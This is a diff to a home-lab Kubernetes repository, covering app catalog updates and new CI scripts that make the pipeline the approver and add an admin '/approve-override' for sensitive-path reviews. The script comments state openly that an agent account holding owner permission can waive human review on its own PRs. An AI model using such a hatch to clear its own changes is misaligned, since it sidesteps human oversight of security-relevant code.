@@ -434,7 +434,7 @@ dependencies: []                # default-deny: reaches only DNS; arr reach it n
                                 # for weeks and neither has any CNP naming the NFS server or port 2049
                                 # (grep apps/wave-1/sonarr.yaml: none). The SAME fact is what keeps the VPN
                                 # egress gateway off this traffic (its selector is a podSelector), and
-                                # 192.168.2.102 is inside the 192.168.0.0/16 excludedCIDR besides — see
+                                # 192.168.2.30 is inside the 192.168.0.0/16 excludedCIDR besides — see
                                 # platform/vpn-egress/egress-steering.yaml, "BULK NFS".
 ingressRoutes:
   - host: qbittorrent.${BASE_DOMAIN}
@@ -448,6 +448,12 @@ auth:
     # via k8s-oidc-rbac.yaml). Without it, an empty media-users locks every operator out with an
     # immediate 403 at the oauth2-proxy callback — observed on prod 2026-09-12.
     - platform-admins           # operators of these services must not be locked out of them
+  # NO `apiRoutes` HERE: UNMEASURED, not cleared. qBittorrent's WebUI drives everything through
+  # /api/v2/, so it is plausibly affected in the same way jackett is — but plausibility is what
+  # put a renderer constant on the table in the first place. MEASURED 2026-10-01 on the live pod
+  # (qbittorrent-5547bdb9bd-zq557, 0 restarts, 23h): 13,649 log lines, ZERO unauthenticated
+  # requests, nothing but health probes. No traffic means no evidence either way. Add `^/api/`
+  # when someone opens the WebUI and records the 302/401 split, as was done for jackett.
 update:
   channel: stable               # R-UPD-01
   range: ">=5.0.0 <6.0.0"       # stay on the qBittorrent 5.x stable line

catalog/radarr.yaml

@@ -8,7 +8,7 @@
 name: radarr
 kind: container
 source:
-  image: lscr.io/linuxserver/radarr:5.21.1   # pinned stable v5 tag (R-UPD-01); update.range governs advancement
+  image: lscr.io/linuxserver/radarr:5.28.0   # pinned stable v5 tag (R-UPD-01); update.range governs advancement
 # LinuxServer images run their service as the user `abc`, whose uid/gid these two set. They are
 # LOAD-BEARING for the bulk mount, not cosmetic: see the storage note below. The default is 911,
 # which cannot write a 1000:3000-owned 0755 tree.
@@ -100,6 +100,9 @@ dependencies:
   - to: jackett                 # arr → indexer proxy (docs/13 dependency graph; R-NET-02 explicit allow)
     port: 9117
     protocol: tcp
+  - to: plex
+    port: 32400                 # arr -> plex: required since library is on NFS which does not provide file CRUD notifications
+    protocol: tcp
 ingressRoutes:
   - host: radarr.${BASE_DOMAIN}
     port: 7878                  # Radarr web/API; TLS terminates at the shared Gateway (docs/08, docs/09)
@@ -112,6 +115,32 @@ auth:
     # via k8s-oidc-rbac.yaml). Without it, an empty media-users locks every operator out with an
     # immediate 403 at the oauth2-proxy callback — observed on prod 2026-09-12.
     - platform-admins           # operators of these services must not be locked out of them
+  # Answer Radarr's machine endpoints with 401 instead of a 302 to Keycloak (schema 1.9.0;
+  # renders --api-route, singular and repeatable, onto the oauth2-proxy sidecar).
+  #
+  # `^/signalr/` — MEASURED ON THE LIVE POD, 2026-10-01, 23h after the cookie fix deployed
+  # (radarr-7d55cbffb9-42hmh, 0 restarts): 232 unauthenticated requests in the pod's whole
+  # lifetime and ALL 232 are the same call — `POST /signalr/messages/negotiate` from a browser
+  # UA, answered 302 by the proxy with upstream `-`, i.e. Radarr never saw one of them. That is
+  # a left-open tab whose session the cookie rename orphaned, polling SignalR forever, silently
+  # redirected every time and NEVER re-prompting the operator. It is the reported symptom
+  # ("reloading never fixes it and I am never re-prompted") still running in production on a
+  # service nobody was watching. With 401 the UI's connection breaks LOUDLY, the operator
+  # reloads, and `/` is outside both regexes so the reload signs them back in.
+  #
+  # `^/api/` — measured on radarr, but on the PRE-FIX pod and NOT by me: the 2026-09-30
+  # diagnosis (decisions/2026-09-30-jackett-oauth2-proxy-session.md) recorded radarr's 156
+  # unauthenticated requests as `/api/v3/command` (62), `/api/v3/queue/details` (46) and
+  # `/signalr/messages/negotiate` (43). The current pod has logged ZERO /api/ traffic, so I did
+  # not re-measure it; it is included because 108 of 156 measured rejections on this app were
+  # /api/v3 XHRs, which is this app's own evidence rather than an analogy to another app.
+  #
+  # SCOPE: both are JSON/RPC namespaces a browser never NAVIGATES to. Radarr's UI is served at
+  # `/` with assets under /Content/ and /MediaCover/, none of which match — so a plain page load
+  # is still 302'd into a silent SSO sign-in.
+  apiRoutes:
+    - ^/api/
+    - ^/signalr/
 update:
   channel: stable               # R-UPD-01
   range: ">=5.0.0 <6.0.0"       # stay on the Radarr v5 stable line

catalog/seerr.yaml

@@ -24,7 +24,7 @@
 name: seerr
 kind: container
 source:
-  image: ghcr.io/seerr-team/seerr:v3.4.1   # Seerr: maintained Overseerr/Jellyseerr successor, Plex-native request UI (docs/13 row 5); served on 5055
+  image: ghcr.io/seerr-team/seerr:v3.5.1   # Seerr: maintained Overseerr/Jellyseerr successor, Plex-native request UI (docs/13 row 5); served on 5055
 # The ghcr.io/seerr-team/seerr image runs as the non-root user `node:node` (UID 1000 / GID 1000 —
 # the standard node base-image user; confirmed from the image config's User field). On boot the app
 # creates /app/config/logs and writes its settings/DB under the mounted /app/config PVC. A fresh

catalog/semaphore.yaml

@@ -22,7 +22,7 @@
 name: semaphore
 kind: container
 source:
-  image: semaphoreui/semaphore:v2.19.10   # pinned recent stable tag (R-UPD-01); update.range governs advancement
+  image: semaphoreui/semaphore:v2.19.17   # pinned recent stable tag (R-UPD-01); update.range governs advancement
 env:
   # --- PostgreSQL connection (the CNPG-DB pattern). DIALECT/HOST/PORT/DB/USER are literals; PASS is
   #     sourced from the in-namespace SOPS secret (the CNPG -app secret lives in ns semaphore-db,

catalog/sonarr.yaml

@@ -8,7 +8,7 @@
 name: sonarr
 kind: container
 source:
-  image: lscr.io/linuxserver/sonarr:4.0.15   # pinned stable v4 tag (R-UPD-01); update.range governs advancement
+  image: lscr.io/linuxserver/sonarr:4.0.20   # pinned stable v4 tag (R-UPD-01); update.range governs advancement
 # LinuxServer images run their service as the user `abc`, whose uid/gid these two set. They are
 # LOAD-BEARING for the bulk mount, not cosmetic: see the storage note below. The default is 911,
 # which cannot write a 1000:3000-owned 0755 tree.
@@ -100,6 +100,9 @@ dependencies:
   - to: jackett                 # arr → indexer proxy (docs/13 dependency graph; R-NET-02 explicit allow)
     port: 9117
     protocol: tcp
+  - to: plex                    # arr -> plex: required since library is on NFS which does not provide file CRUD notifications
+    port: 32400
+    protocol: tcp
 ingressRoutes:
   - host: sonarr.${BASE_DOMAIN}
     port: 8989                  # Sonarr web/API; TLS terminates at the shared Gateway (docs/08, docs/09)
@@ -112,6 +115,14 @@ auth:
     # via k8s-oidc-rbac.yaml). Without it, an empty media-users locks every operator out with an
     # immediate 403 at the oauth2-proxy callback — observed on prod 2026-09-12.
     - platform-admins           # operators of these services must not be locked out of them
+  # NO `apiRoutes` HERE, AND NOT BECAUSE IT NEEDS NONE — because nothing measures that it does.
+  # Sonarr is nearly the same codebase as Radarr, which is exactly what makes `^/api/` +
+  # `^/signalr/` a tempting guess and still a guess. MEASURED 2026-10-01 on the live pod
+  # (sonarr-ddf485775-8ckwt, 0 restarts, 23h): its oauth2-proxy log contains 13,643 lines and
+  # ZERO unauthenticated requests — no /api/, no /signalr/, nothing but health probes. Nobody
+  # has opened this UI since the cookie fix rolled, so the measurement is empty rather than
+  # negative: it is evidence of no TRAFFIC, not evidence of no need. Add the routes when someone
+  # reproduces the 302-on-XHR here, with the numbers.
 update:
   channel: stable               # R-UPD-01
   range: ">=4.0.0 <5.0.0"       # stay on the Sonarr v4 stable line

ci/Makefile

@@ -35,6 +35,9 @@ decisions-log: ## handoff log: DECISIONS-LOG.md frozen, decisions/ entries well-
 l1: ## L1 rendering checks (no cluster; live now)
 	@"$(CI_DIR)l1.sh"
 
+approval-policy: ## CI is the approver; sensitive paths still need a human (needs PR_NUMBER + token)
+	@./approval-policy.sh
+
 gitea-settings: ## Gitea branch protection + runners match infra/gitea/expected-branch-protection.json (SKIPS w/o GITEA_SETTINGS_TOKEN)
 	@./gitea-settings.sh
 

ci/README.md

@@ -99,7 +99,7 @@ caller that must distinguish them invokes `./ci/gate.sh` directly.
 
 | stage | a skip there means | verdict |
 |---|---|---|
-| `lint`, `l0`, `render-golden`, `l1` | a **pinned tool is absent** or a **wired seam went unwired** — it *could not run* | **BLOCKED** under strict skips (a CI runner: the toolchain is installed for us by `.gitea/workflows/scripts/install-tools.sh`, so a skip is a defect); **UNDETERMINED** otherwise (a workstation missing a tool is a real local condition — still non-zero, still not a pass; the remedy is `infra/devcontainer/dev.sh`, which carries the pinned toolchain) |
+| `lint`, `l0`, `render-golden`, `l1` | a **pinned tool is absent** or a **wired seam went unwired** — it *could not run* | **BLOCKED** under strict skips (a CI runner: the toolchain is the job image — the CI-built toolbox, `.gitea/workflows/gate.yml` `container:` — so a skip is a defect); **UNDETERMINED** otherwise (a workstation missing a tool is a real local condition — still non-zero, still not a pass; the remedy is `infra/devcontainer/dev.sh`, which carries the pinned toolchain) |
 | `spec-immutability` (R-TEST-06) | the sibling spec repo is not checked out, so the spec **could not be verified** | **UNDETERMINED** — unverified is unverified. Deliberately *not* upgraded to BLOCKED by strict skips: the live runner does not check the spec repo out at all, so blocking would leave the only enforced status check permanently red for a reason no PR could clear. It is therefore the **one** skip whose non-answer a caller may knowingly tolerate, and `.gitea/workflows/gate.yml` does so in one visible line. `REQUIRE_SPEC_VERIFICATION=true` makes it a hard block once that checkout is wired. Locally: check the spec repo out beside this one, or set `SPEC_REPO` (`dev.sh` mounts a sibling automatically). |
 | `decisions-log` | **nothing** — this stage has no skip path. It reads only files in the tree under test and needs no tool and no cluster, so there is no environment in which it "could not run" | a reported skip is a **defect in the stage** and BLOCKS. The stage fails when the frozen `DECISIONS-LOG.md` is modified (which silently re-creates, for every *other* open branch, the tail-hunk conflict that made four of five PRs unmergeable on 2026-09-29) or when a `decisions/` entry is malformed. There is deliberately **no** `REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard. See `decisions/README.md`. |
 | `conformance` (L2/L3) | `CLUSTER_AVAILABLE!=true` — the environment **declared** the capability absent (documented Phase-0 behaviour) | **does not deny a PASS**: a declared-inapplicable stage was never *supposed* to run. It is NAMED in the PASS headline and step summary, the touched requirements it would have covered are reported UNVERIFIED, and `REQUIRE_CLUSTER_TESTS=true` (Phase 1+) turns that into a block. A skip **despite** `CLUSTER_AVAILABLE=true` is a defect and BLOCKS. |

ci/approval-override.py

@@ -0,0 +1,194 @@
+#!/usr/bin/env python3
+"""ci/approval-override.py — select the admin-override on a PR, if there is a valid one.
+
+This script decides NOTHING about authority. It parses a PR's comments and reviews and returns
+the single override *candidate* that ci/approval-policy.sh should then try to authorise against
+the live Gitea permission API. Keeping the two apart is the point:
+
+  * parsing is pure, offline, and therefore TESTABLE (ci/tests/approval-override.test.sh);
+  * authorisation needs the API and must stay in the stage that fails closed.
+
+A candidate is a comment OR a review whose body contains, AT THE START OF A LINE, the directive
+followed by a non-empty reason:
+
+    /approve-override the gate cannot gate itself and I am the only human reviewer
+
+TWO SOURCES, AND WHY THAT IS NOT BELT-AND-BRACES. Measured 2026-10-02 on PR #38: the override was
+posted as an ordinary PR comment, was well-formed, was newer than the head commit — and the stage
+still blocked, because CI could not READ it. `SETTINGS_API_TOKEN` is minted with scopes
+`[read:repository, read:admin]`, and Gitea puts /issues/{n}/comments behind the *issue* scope, so
+the request came back as an error OBJECT rather than an array. `/pulls/{n}/reviews` is under
+read:repository and was readable in the same run. So:
+
+  * a REVIEW body works with the token CI has today (leave a review of type "Comment");
+  * a COMMENT body works once the token carries read:issue (see infra/gitea/set-ci-token.sh).
+
+Accepting both means the hatch is not hostage to one API scope. A source that cannot be read
+contributes no candidates and is reported on stderr; it can only cause a false BLOCK, never a
+false pass, which is why degrading it is safe and blocking on it was not necessary.
+
+WHY EACH RULE IS HERE
+
+  * START OF A LINE, not "anywhere in the body". Otherwise quoting someone else's override
+    ("you could just /approve-override this") re-arms it. Lines beginning with '>' are DROPPED
+    rather than unquoted, for exactly that reason.
+  * A REASON IS MANDATORY. A bare directive records that a review was waived but not why, which
+    is the difference between an audit trail and a rubber stamp.
+  * STALE OVERRIDES ARE DISCARDED. An override earned at commit A must not silently cover commit
+    B. Any candidate created at or before the head commit's timestamp is dropped — the same
+    semantics Gitea's own `dismiss_stale_approvals` applies to approvals. Push new commits and
+    you must re-override.
+  * A PENDING REVIEW IS NOT SUBMITTED. It is a private draft visible only to its author, so it is
+    not an act of anything and is dropped.
+  * THE LATEST CANDIDATE WINS, across both sources, so a later override supersedes an earlier one.
+
+Output: one TSV line (login, timestamp, source, reason) on stdout, or nothing at all when there is
+no valid candidate. Never exits non-zero for "no override" — absence is a normal answer and the
+caller must not be able to confuse it with a parse crash.
+
+Input, all via env so nothing lands in `ps`:
+  COMMENTS_JSON  the Gitea /issues/{n}/comments array (or an error object; or absent)
+  REVIEWS_JSON   the Gitea /pulls/{n}/reviews array   (or an error object; or absent)
+  HEAD_TIME      ISO-8601 timestamp of the PR head commit
+  DIRECTIVE      the override directive, e.g. /approve-override
+"""
+import json
+import os
+import re
+import sys
+from datetime import datetime, timezone
+
+
+def parse_ts(value):
+    """Gitea emits RFC3339. Return an aware datetime, or None if it is unparseable.
+
+    Unparseable is NOT 'treat as fresh': the caller drops such a candidate, because a
+    timestamp we cannot read is a staleness check we cannot perform.
+    """
+    if not value:
+        return None
+    text = str(value).strip()
+    # Python < 3.11 cannot read a trailing 'Z' in fromisoformat.
+    if text.endswith(("Z", "z")):
+        text = text[:-1] + "+00:00"
+    try:
+        parsed = datetime.fromisoformat(text)
+    except ValueError:
+        return None
+    if parsed.tzinfo is None:
+        parsed = parsed.replace(tzinfo=timezone.utc)
+    return parsed
+
+
+def extract_reason(body, directive):
+    """Return the reason from the first line that STARTS with the directive, else None."""
+    pattern = re.compile(
+        r"^[ \t]*" + re.escape(directive) + r"(?=[ \t:]|$)[ \t:]*(.*)$"
+    )
+    for raw in (body or "").splitlines():
+        # A quoted line is somebody repeating an override, not casting one.
+        if raw.lstrip().startswith(">"):
+            continue
+        match = pattern.match(raw)
+        if match:
+            reason = match.group(1).strip()
+            return reason or None
+    return None
+
+
+def load_source(env_name, label):
+    """Return a list of items for one source, or [] with a stderr note if it is unusable."""
+    raw = os.environ.get(env_name)
+    if not raw or not raw.strip():
+        return []
+    try:
+        parsed = json.loads(raw)
+    except (ValueError, TypeError):
+        print(
+            "approval-override: %s is not valid JSON — ignoring that source" % label,
+            file=sys.stderr,
+        )
+        return []
+    if isinstance(parsed, list):
+        return parsed
+    # An error object, typically {"message": "token does not have ... scope"}. Say which,
+    # because "no override found" and "could not read the overrides" look identical from
+    # the outside and the first wasted a real debugging session.
+    detail = ""
+    if isinstance(parsed, dict):
+        detail = str(parsed.get("message") or parsed.get("errors") or "")[:200]
+    print(
+        "approval-override: %s is not a list (Gitea returned %s%s) — ignoring that source"
+        % (label, type(parsed).__name__, ": " + detail if detail else ""),
+        file=sys.stderr,
+    )
+    return []
+
+
+def candidates_from(items, source, directive, head_time):
+    """Yield (when, login, reason, raw_when, source) for every valid override in one source."""
+    found = []
+    for item in items:
+        if not isinstance(item, dict):
+            continue
+        login = ((item.get("user") or {}).get("login") or "").strip()
+        reason = extract_reason(item.get("body"), directive)
+        if not login or not reason:
+            continue
+        # A PENDING review is an unsubmitted private draft — not an act of anything.
+        state = str(item.get("state") or "").upper()
+        if source == "review" and state == "PENDING":
+            print(
+                "approval-override: dropping PENDING (unsubmitted) review by '%s'" % login,
+                file=sys.stderr,
+            )
+            continue
+        raw_when = (
+            item.get("submitted_at") or item.get("created_at") or item.get("updated_at") or ""
+        )
+        when = parse_ts(raw_when)
+        if when is None:
+            print(
+                "approval-override: dropping %s override by '%s' — unreadable timestamp %r"
+                % (source, login, raw_when),
+                file=sys.stderr,
+            )
+            continue
+        # An override must post-date the commit it covers.
+        if head_time is not None and when <= head_time:
+            print(
+                "approval-override: dropping STALE %s override by '%s' (%s) — not newer than "
+                "head commit (%s). Re-post it to override the current commit."
+                % (source, login, when.isoformat(), head_time.isoformat()),
+                file=sys.stderr,
+            )
+            continue
+        found.append((when, login, reason, raw_when, source))
+    return found
+
+
+def main():
+    directive = os.environ.get("DIRECTIVE", "/approve-override").strip()
+    head_time = parse_ts(os.environ.get("HEAD_TIME", ""))
+
+    found = []
+    found += candidates_from(
+        load_source("COMMENTS_JSON", "COMMENTS_JSON"), "comment", directive, head_time
+    )
+    found += candidates_from(
+        load_source("REVIEWS_JSON", "REVIEWS_JSON"), "review", directive, head_time
+    )
+
+    if not found:
+        return 0
+
+    # Latest wins, across both sources: a later override supersedes an earlier one.
+    when, login, reason, raw_when, source = max(found, key=lambda c: c[0])
+    # Keep the reason on one line — this becomes a TSV field.
+    reason = " ".join(reason.split())
+    print("%s\t%s\t%s\t%s" % (login, raw_when, source, reason))
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())

ci/approval-policy.sh

@@ -0,0 +1,274 @@
+#!/usr/bin/env bash
+# ci/approval-policy.sh — the CI/CD pipeline is the approver, EXCEPT for changes that alter
+# what the pipeline verifies or the security posture it rests on.
+#
+# THE POLICY, and why it is shaped this way.
+#
+# Operator intent (2026-09-29): "CI/CD pipeline is the end-all-be-all for approval. If the CI
+# pipeline is not good enough to be trusted for this, then it is not good enough to do its
+# intended job and needs to be improved. Manual approvers should only be for architecturally or
+# security relevant changes -- which is essentially the CI pipeline itself and kyverno policies."
+#
+# So `required_approvals` on the branch drops to 0 and the GATE decides. That is a real transfer
+# of authority, and it has exactly one hole: **a change to the gate cannot be gated by the gate.**
+# A PR that weakens a check would be approved by the weakened check. The same applies to the
+# admission policies, the Flux wiring that decides what reconciles, the SOPS recipients, and the
+# RBAC. Those are the "architecturally or security relevant" set, and this stage is what still
+# requires a human for them.
+#
+# The list is data, not code: infra/gitea/approval-policy.json, with a stated reason per entry so
+# it stays reviewable. Changing that list is itself a sensitive change (infra/gitea/**), so the
+# policy cannot be widened without a human.
+#
+# FAIL-CLOSED, DELIBERATELY DIFFERENT FROM gitea-settings.sh. That stage skips when its token is
+# missing, because an unwired credential blocking every PR is a lock-out. Here the reverse is
+# true: if this cannot evaluate, an unreviewed change to the gate itself could merge. A skip is a
+# BYPASS, not a gap. So: cannot determine -> BLOCK.
+#
+# THE ADMIN OVERRIDE (added 2026-10-01), and the lock-out it clears.
+#
+# The rule above was UNSATISFIABLE for the one human who runs this repo. Gitea refuses to let a
+# pull request's author approve their own PR, and `jakman85` is the only collaborator — so "an
+# APPROVED review from someone who is not its author" is a condition the sole administrator can
+# never meet. Every sensitive-path PR they opened was permanently unmergeable, INCLUDING the PR
+# that would fix it. Measured 2026-10-01: PR #35, gate green in 1m41s, zero reviews, blocked.
+#
+# So an administrator may waive the review by COMMENTING on the PR:
+#
+#     /approve-override <reason>
+#
+# Authority comes from the LIVE Gitea permission API, never from the comment — the commenter must
+# hold a permission listed in `.override.authorized_permissions` (admin/owner) at the moment the
+# gate runs, so an old comment from a since-demoted account is worth nothing. The directive must
+# start a line, a reason is mandatory, and the comment must POST-DATE the head commit: an override
+# earned at commit A does not cover commit B. Choosing the candidate comment is the job of the
+# pure, offline, unit-tested ci/approval-override.py; AUTHORISING it is the job of this stage,
+# which fails closed.
+#
+# WHAT THIS COSTS, STATED PLAINLY. For an administrator, "a change to the gate cannot be gated by
+# the gate" stops being structural and becomes advisory. That is the unavoidable consequence of
+# there being one human; the alternative is a repository its owner cannot change. What is bought
+# back is a RECORD — the waiver is an explicit act, attributed to an account, carrying a stated
+# reason, in the PR history and in this stage's output. A silent bypass keyed on "is the author an
+# admin?" would have been less code and is exactly the fail-open shape this repo keeps finding.
+#
+# AND THE PART THAT IS NOT COMFORTABLE. Authorisation is by permission ALONE, with no allowlist of
+# human accounts (operator decision, 2026-10-01, taken with this consequence on the table). The
+# AGENT account `gitea-admin` also reports permission `owner` here, so an agent can clear the
+# sensitive-path review on its own PR by posting the directive — and agents author most PRs in
+# this repo, so that is the common case, not an edge case. To narrow it without touching this
+# logic, add an `override_admins` list to infra/gitea/approval-policy.json: the check below
+# already requires membership whenever that key is present.
+#
+# EXIT CODES
+#   0  no sensitive paths touched (gate alone is sufficient), OR sensitive paths touched and
+#      either a non-author APPROVED review or a valid admin override is present
+#   1  sensitive paths touched with neither, OR the policy could not be evaluated
+set -euo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
+# shellcheck disable=SC1091
+source "${CI_DIR}/lib.sh"
+
+log "Stage: approval policy (CI approves; humans approve changes to CI)"
+
+DECL="${REPO_ROOT}/infra/gitea/approval-policy.json"
+[ -f "$DECL" ] || die "approval policy declaration missing: ${DECL}"
+require_tool jq
+require_tool python3
+
+# Not a PR -> nothing to gate. A push to main is already merged, and direct pushes are refused
+# by branch protection, so this is genuinely not-applicable rather than a skipped check.
+EVENT="${GITHUB_EVENT_NAME:-${EVENT_NAME:-}}"
+PR="${PR_NUMBER:-}"
+if [ "$EVENT" != "pull_request" ] || [ -z "$PR" ] || [ "$PR" = "null" ]; then
+  ok "not a pull_request event (event='${EVENT:-none}') — approval policy N/A"
+  exit 0
+fi
+
+GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
+GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
+TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
+if [ -z "$TOKEN" ]; then
+  err "no SETTINGS_API_TOKEN — cannot read this PR's changed files or its reviews."
+  err "  BLOCKING. A skip here would let an unreviewed change to the gate itself merge."
+  summary "- approval-policy: **BLOCKED — cannot evaluate** (no token; a skip here is a bypass)"
+  exit 1
+fi
+api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
+
+FILES_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/files?limit=1000" || true)"
+PR_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}" || true)"
+REVIEWS_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/reviews" || true)"
+# PR conversation comments live under the ISSUES endpoint. `/pulls/{n}/comments` returns review
+# (diff) comments ONLY, so an override posted in the normal comment box would never appear in it.
+# Verified against this Gitea (1.24.3) rather than assumed.
+#
+# This one is NOT in the must-parse loop below, and that is deliberate. /issues/{n}/comments sits
+# behind Gitea's *issue* token scope, which `SETTINGS_API_TOKEN` does not carry (it is minted
+# `[read:repository, read:admin]`) — so it returns an error OBJECT, not an array. Blocking on that
+# turned "CI cannot read your override" into a message that said "you did not post one", and cost a
+# real debugging session on PR #38. It is handled explicitly, and loudly, further down: an
+# unreadable source can only cause a false BLOCK, never a false pass.
+COMMENTS_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/issues/${PR}/comments?limit=1000" || true)"
+for v in FILES_JSON PR_JSON REVIEWS_JSON; do
+  jq -e . >/dev/null 2>&1 <<<"${!v}" || {
+    err "could not read ${v} from Gitea for PR #${PR} — BLOCKING rather than assuming."
+    summary "- approval-policy: **BLOCKED — Gitea unreadable**"
+    exit 1; }
+done
+
+AUTHOR="$(jq -r '.user.login // empty' <<<"$PR_JSON")"
+[ -n "$AUTHOR" ] || { err "could not determine PR author — BLOCKING"; exit 1; }
+
+# NOTE: the PR file list goes in via an ENV VAR, not a second stdin redirect. `python3 - <<EOF`
+# already consumes stdin for the script; adding `<<<"$json"` silently wins and the script body is
+# never read. Caught before shipping, by running it.
+SENSITIVE="$(FILES_JSON="$FILES_JSON" DECL="$DECL" python3 -c '
+import json, os, fnmatch
+decl = json.load(open(os.environ["DECL"]))
+files = [f.get("filename", "") for f in json.loads(os.environ["FILES_JSON"])]
+pats = decl["sensitive_paths"]
+hits = sorted({f for f in files for p in pats
+               if fnmatch.fnmatch(f, p) or (p.endswith("/**") and f.startswith(p[:-2]))})
+print("\n".join(hits))
+')"
+
+if [ -z "$SENSITIVE" ]; then
+  ok "no architecturally/security-relevant paths touched — the GATE is the approver."
+  summary "- approval-policy: **green** (CI approves; no sensitive paths touched)"
+  exit 0
+fi
+
+echo "  sensitive paths touched:" >&2
+printf '    %s\n' $SENSITIVE >&2
+
+APPROVER="$(jq -r --arg a "$AUTHOR" \
+  '[.[] | select(.state == "APPROVED") | select(.user.login != $a) | .user.login] | first // empty' \
+  <<<"$REVIEWS_JSON")"
+
+if [ -n "$APPROVER" ]; then
+  ok "approved by '${APPROVER}' (author '${AUTHOR}') — sensitive change is human-reviewed."
+  summary "- approval-policy: **green** (sensitive paths approved by \`${APPROVER}\`)"
+  exit 0
+fi
+
+# ─────────────────────────────────────────────────────────────────────────────────────────
+# No non-author approval exists. Before refusing, look for an administrator's explicit
+# override. See the header for why this hatch exists and what it costs.
+# ─────────────────────────────────────────────────────────────────────────────────────────
+OVERRIDE_ENABLED="$(jq -r '.override.enabled // false' "$DECL")"
+DIRECTIVE="$(jq -r '.override.comment_directive // "/approve-override"' "$DECL")"
+HEAD_SHA="$(jq -r '.head.sha // empty' <<<"$PR_JSON")"
+
+if [ "$OVERRIDE_ENABLED" = "true" ]; then
+  # The head commit's timestamp anchors staleness. Read it from GITEA, not from the local
+  # tree: CI checks out a merge commit, whose date is not the head commit's date.
+  HEAD_TIME=""
+  if [ -n "$HEAD_SHA" ]; then
+    HEAD_COMMIT_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/git/commits/${HEAD_SHA}" || true)"
+    HEAD_TIME="$(jq -r '.commit.committer.date // .created // empty' <<<"${HEAD_COMMIT_JSON:-null}" 2>/dev/null || true)"
+  fi
+  if [ -z "$HEAD_TIME" ]; then
+    err "could not read the head commit's timestamp for PR #${PR} — BLOCKING."
+    err "  Without it an override cannot be aged, and an unaged override is one that silently"
+    err "  covers commits nobody waived review on."
+    summary "- approval-policy: **BLOCKED — head commit timestamp unreadable** (cannot age an override)"
+    exit 1
+  fi
+
+  # Is the comments source actually readable? Say so plainly if not — a scope problem and "you
+  # never posted an override" are indistinguishable from the outside, and conflating them is what
+  # made PR #38 look like a code bug.
+  if ! jq -e 'type == "array"' >/dev/null 2>&1 <<<"${COMMENTS_JSON:-}"; then
+    SCOPE_MSG="$(jq -r '.message // empty' <<<"${COMMENTS_JSON:-null}" 2>/dev/null || true)"
+    warn "cannot read PR COMMENTS from Gitea${SCOPE_MSG:+ — ${SCOPE_MSG}}."
+    warn "  /issues/${PR}/comments needs the *issue* token scope; SETTINGS_API_TOKEN is minted"
+    warn "  [read:repository, read:admin] (infra/gitea/set-ci-token.sh). An override posted as an"
+    warn "  ordinary PR COMMENT is therefore invisible to CI — post it as a REVIEW of type"
+    warn "  'Comment' instead, which /pulls/${PR}/reviews exposes under read:repository."
+    summary "- approval-policy: note — PR comments unreadable (token lacks the issue scope); use a **review** to override"
+    COMMENTS_JSON='[]'
+  fi
+
+  # Pure, offline, unit-tested selection: which comment or review, if any, is a live override?
+  OVERRIDE_TSV="$(COMMENTS_JSON="$COMMENTS_JSON" REVIEWS_JSON="$REVIEWS_JSON" \
+    HEAD_TIME="$HEAD_TIME" DIRECTIVE="$DIRECTIVE" \
+    python3 "${CI_DIR}/approval-override.py")" || {
+      err "ci/approval-override.py failed — BLOCKING rather than assuming there is no override."
+      summary "- approval-policy: **BLOCKED — override parser failed**"
+      exit 1; }
+
+  if [ -n "$OVERRIDE_TSV" ]; then
+    OV_USER="$(cut -f1 <<<"$OVERRIDE_TSV")"
+    OV_WHEN="$(cut -f2 <<<"$OVERRIDE_TSV")"
+    OV_SRC="$(cut -f3 <<<"$OVERRIDE_TSV")"
+    OV_WHY="$(cut -f4- <<<"$OVERRIDE_TSV")"
+
+    # AUTHORITY IS MEASURED LIVE, never inferred from the comment or from a name in git.
+    PERM_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/collaborators/${OV_USER}/permission" || true)"
+    OV_PERM="$(jq -r '.permission // empty' <<<"${PERM_JSON:-null}" 2>/dev/null || true)"
+    if [ -z "$OV_PERM" ]; then
+      err "'${OV_USER}' posted ${DIRECTIVE}, but their permission on ${GITEA_REPO} could not be"
+      err "  read — BLOCKING. An override whose authority is unverified is not an override."
+      summary "- approval-policy: **BLOCKED — cannot verify \`${OV_USER}\`'s permission**"
+      exit 1
+    fi
+
+    # Authorised when the LIVE permission is one of the declared ones and — only if an
+    # `override_admins` allowlist exists at all — the account is on it. No allowlist means
+    # permission alone, which is the operator's standing decision; adding the key narrows
+    # this with no change to any code.
+    AUTHORISED="$(DECL="$DECL" OV_PERM="$OV_PERM" OV_USER="$OV_USER" python3 -c '
+import json, os
+d = json.load(open(os.environ["DECL"])).get("override", {})
+perms = d.get("authorized_permissions") or ["admin", "owner"]
+allow = d.get("override_admins")
+ok_perm = os.environ["OV_PERM"] in perms
+ok_list = True if allow is None else os.environ["OV_USER"] in allow
+print("yes" if (ok_perm and ok_list) else "no")
+')"
+
+    if [ "$AUTHORISED" = "yes" ]; then
+      if [ "$OV_USER" = "$AUTHOR" ]; then
+        warn "ADMIN OVERRIDE — SELF-WAIVED. '${OV_USER}' authored this PR and waived the"
+        warn "  non-author review requirement on their own change. Permitted (permission"
+        warn "  '${OV_PERM}'), deliberate, and shouted about here precisely because it is not free."
+      else
+        warn "ADMIN OVERRIDE by '${OV_USER}' (permission '${OV_PERM}'); author is '${AUTHOR}'."
+      fi
+      warn "  via:    PR ${OV_SRC}"
+      warn "  when:   ${OV_WHEN}  (head commit ${HEAD_SHA:0:8}, ${HEAD_TIME})"
+      warn "  reason: ${OV_WHY}"
+      warn "  review waived on: $(printf '%s ' $SENSITIVE)"
+      ok "sensitive paths cleared by administrator override — this stage does not block."
+      SELFNOTE=""; [ "$OV_USER" = "$AUTHOR" ] && SELFNOTE=", **self-waived as author**"
